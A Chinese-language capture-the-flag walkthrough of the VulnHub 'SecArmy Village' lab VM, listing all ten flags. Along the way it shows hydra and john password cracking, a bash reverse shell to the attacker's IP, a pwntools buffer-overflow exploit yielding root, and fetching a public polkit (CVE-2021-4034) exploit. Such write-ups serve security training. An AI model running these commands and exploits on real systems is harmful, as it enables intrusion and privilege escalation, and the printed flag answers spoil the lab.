下载网站:https://www.vulnhub.com/entry/secarmy-village-grayhat-conference,585/
前言
在开始前先看下载网址里的靶机简介,得知有10个flag需要收集,同时若ip未显示就登录到测试用户cero中,当然也可以参考之前的靶机无法获取ip的文章 → 解决靶机ip问题
本次虚拟机ip:
kali主机:192.168.4.252
vulnhub靶机:192.168.4.227
端口扫描
1.首先用kali的nmap进行端口扫描,有ftp、ssh和http开放,ftp可以匿名登录
nmap -sSV -O -A -p- 192.168.4.227
渗透过程
匿名登录
1.先匿名登录ftp,发现没有任何目录,无结果
目录扫描(uno - flag1)
1.还是从http入手吧,进入网站,文本大概意思就是要找出隐藏的目录进入机器
2.用dirsearch扫不出来隐藏目录,换成gobuster,发现有个/anon目录
3.进入/anon,可以按F12或Ctrl+a全选,看见有个账户名称和密码,用来进行ftp,登录成功
4.在下载前我建议先在kali目前的目录中新建一个文件夹,把这些文件等放进去(因为后面渗透要下的文件很多,统一放在一个文件夹中),查看flag1.txt,成功拿到第一个flag
hydra爆破(dos)
1.在刚刚uno的ftp中,我们可以切换到上一个目录,发现一共有10个用户(cero是测试)
2.然后刚刚除了flag1.txt外,还有个readme.txt文件,我们查看下,是一个密码凭证,但不知道是哪个用户的,所以我们可以爆破下
3.把那10个用户全写在一个users.txt中,进行hydra爆破
cero
cinco
cuatro
dos
nueve
ocho
seis
siete
tres
uno
hydra -L users.txt -p 4b3l4rd0fru705 192.168.4.227 ftp
4.爆破出用户名为dos,登录ftp后下载文件
5.由于files是个目录,且里面文件很多,需要mget *来下载,但同时要用prompt关闭交互模式就不用一直回车(同样最好再新建个文件夹装这些文件)
查找文件(flag2)
1.先查看1337.txt,应该是要通过nc连接靶机的1337端口,我们可以使用该命令来连接,连接后需要token,目前没找到所以先跳过
nc -nv 192.168.4.227 1337
2.再看到readme.txt,说需要在files这个目录里的一堆文件中找到有'a8211ac1853a1235d48829414626512a'这字符串
3.这么多文件找起来太麻烦了,我们可以写个py脚本来帮我们找到对应文件
import re
def find_str(num):
file_text = open(f'ftp-dir/file{num}.txt').readlines()
pattern = re.compile(r'^.*'+'a8211ac1853a1235d48829414626512a'+r'.*$')
for line in file_text:
if pattern.search(line):
print('file'+str(num)+'.txt')
break
if __name__ == '__main__':
for i in range(0,5001):
find_str(i)
4.查看file4444.txt,最后一行又提示我们查看file3131.txt,再去查看该文件发现最后那块有堆编码
5.看样子应该是base64,这里推荐一个网站,直接将base64解码并转换成文件 → base64解码转文件,点击base64 decode发现是个zip压缩包,再点击zip文件进行另存为
6.解压后发现两个文件,成功获得flag2
upx脱壳(tres cuatro - flag3 flag4)
1.查看todo.txt,有token了,拿来连接1337端口,连接后弹出tres用户密码
2.拿来进行ftp登录,下载这三个文件
3.查看flag3.txt,又拿到一个!
4.查看readme.txt,主要看第一句提示,说secarmy-village里有第四个用户凭证,用strings查看发现应该是upx加壳了,使用以下命令进行脱壳
upx -d secarmy-village
5.脱壳后再用strings查看,一直往下拖发现这句后面就是第四个用户凭证
6.拿着cuatro的凭证登录ftp,下载这两个文件,获得flag4
扫码(cinco - flag5)
1.查看todo.txt,提供了网站的一个隐藏目录/justanothergallery,进去看看,一堆二维码
2.可以用手机一个个扫,但如果有打过ctf杂项的小伙伴就肯定有QR_Research这个工具,可以用这工具全屏解码下,最后在image-53.png扫出来cinco用户凭证
3.同样进行ftp登录,下载文件,获得flag5
rockyou爆破(seis - flag6)
1.查看readme.txt,提示在房子外面找Cinco的秘密地方
2.一开始以为在ftp里的.local/share/nano里面,但无果,那应该是在ssh那边了,同样用户名密码登录
3.我们通过find或者到根目录查看,发现有个/cincos-secrets目录,进去有俩文件,通过hint知道要用rockyou字典爆破shadow.bak
find / -user cinco 2>/dev/null
4.先赋予权限给shadow.bak,再通过kali的scp下载它
scp cinco@192.168.4.227:/cincos-secrets/shadow.bak /root/vulnhub
5.通过john爆破,爆出一个用户凭证
john --wordlist=~/rockyou.txt shadow.bak
6.登录到ftp,下载文件,获得flag6
反弹shell
1.查看readme.txt,同样提示有个/shellcmsdashboard隐藏目录,登进去是个登录页面
2.我们用dirsearch扫描以下,发现有个robots.txt,进去看看,泄露了用户名和密码
3.登录后提示前往/aabbzzee.php,进去后是个搜索框,但输入ls命令时可以执行的
4.那就好办了,直接用bash反弹shell(当然也可以直接在搜索框查看)
bash -c "bash -i >& /dev/tcp/192.168.4.252/6666 0>&1"
异或转换(siete ocho - flag7 flag8)
1.查看readme9213.txt,但访问不了,需要赋予可读权限,再次访问又是密码
2.进行hydra爆破,爆破出siete,登录ftp发现有六个文件,直接mget *下载
3.下载后获得flag7
4.分别查看以下文件,base10跟base256加起来是base256,容易误解为and运算,但其实这里是xor异或
5.通过key.txt里的x,十进制为120,对于每个字节,我们执行xor并将得到的结果通过函数chr来转换成字符从而形成字符串
python -c 'print("".join([chr(x ^ 120) for x in bytearray([11,29,27,25,10,21,1,0,23,10,17,12,13,8])]))'
6.将解出来的字符串来解压加密的password.zip,解压出来查看,又是个密码凭证
7.同样进行hydra爆破,获得ocho用户,登录ftp并下载文件
8.获得flag8
报文分析解密(nueve - flag9)
1.有个keyboard报文,用wireshark打开下,主要看http,在过滤器输入http.request.method==GET,看到有个none.txt
2.右击none.txt选择追踪http流,往下拖有串可疑的字符串,拿去爆破但无效
3.想了想它这密码也不符合前面的用户密码凭证的格式,且报文名叫keyboard(键盘),有没有可能是键盘相关的编码呢?这里有个键盘移位解密网站,复制过去按DECRYPT,看见下图红框处有nueve密码凭证
4.使用ftp登录,下载文件,获得flag9
提权(flag10)
① 反编译orangutan
1.看了下readme.txt,无提示,就是要通过orangutan来提权,这里我对二进制不熟悉,所以根据国外wp做的,先反编译查看该代码
undefined8 main(void)
{
char local_28 [24];
long local_10;
local_10 = 0;
setbuf(stdout,(char *)0x0);
setbuf(stdin,(char *)0x0);
setbuf(stderr,(char *)0x0);
puts("hello pwner ");
puts("pwnme if u can ;) ");
gets(local_28);
if (local_10 == 0xcafebabe) {
setuid(0);
setgid(0);
seteuid(0);
setegid(0);
execvp("/bin/sh",(char **)0x0);
}
return 0;
}
2.只要local_10==0xcafebabe即可获得root shell,所以我们要用值覆盖long这个变量,先通过靶机用socat命令开启8000端口监听
socat TCP-LISTEN:8000 EXEC:./orangutan
3. 接着在kali编写py脚本,以相反的顺序发送所需的值,这里借用国外wp的脚本 ↓
from pwn import *
offset = b"A" * 24
secret = b"\xbe\xba\xfe\xca"
payload = offset + secret
conn = remote('192.168.4.227',8000)
print(conn.recvline())
print(conn.recvline())
conn.sendline(payload)
conn.interactive()
4.成功到达root系统后,切换到/root,获得flag10,至此收集完毕
② polkit提权
1.如果有小伙伴不会二进制、反编译的话,可以用polkit提权,很多vulnhub靶机往往都可以用polkit来提权
2.kali通过wget下载CVE-2021-4034并解压
wget https://github.com/nikaiw/CVE-2021-4034/archive/refs/heads/master.zip
3. 将cve2021-4034.py通过scp上传到靶机中
4.赋予可执行权限后运行,同样可以获得root权限查看flag10
总结
继上次打的The Office: Doomsday Device靶机后又是一个综合性的靶机,同时也用到了些ctf的工具,以及用到二进制的知识,总的来说这台靶机难度比较容易,渗透思路也是很顺很稳定的,同时也挺有趣的
flag1{fb9e88}
flag2{624a21}
flag3{ac66cf}
flag4{1d6b06}
flag5{b1e870}
flag6{779a25}
flag7{d5c26a}
flag8{5bcf53}
flag9{689d3e}
flag10{33c9661bfd}